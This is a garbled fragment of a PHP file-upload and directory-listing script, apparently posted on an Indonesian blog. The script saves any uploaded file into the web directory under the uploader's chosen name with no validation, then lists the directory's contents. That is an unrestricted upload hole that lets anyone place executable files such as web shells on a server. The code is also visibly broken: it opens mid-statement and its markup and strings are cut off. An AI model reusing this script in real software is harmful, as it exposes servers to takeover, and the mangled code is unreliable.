'; exit; } } ?><!--DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
0) {echo "Error: " . $_FILES["file"]["error"] . "
";} else {echo "Stored file:".$_FILES["file"]["name"]."
Size:".($_FILES["file"]["size"]/1024)." kB
"; move_uploaded_file($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]); } } // open this directory $myDirectory = opendir("."); // get each entry while($entryName = readdir($myDirectory)) {$dirArray[] = $entryName;} closedir($myDirectory); $indexCount = count($dirArray); echo "$indexCount files
"; sort($dirArray); echo "
\n"; for($index=0; $index < $indexCount; $index++) { if (substr("$dirArray[$index]", 0, 1) != ".") { echo ""; } } echo "
Filename | Filetype | Filesize |
---|---|---|
$dirArray[$index] | ".filetype($dirArray[$index])." | ".filesize($dirArray[$index])." |
0 komentar:
Post a Comment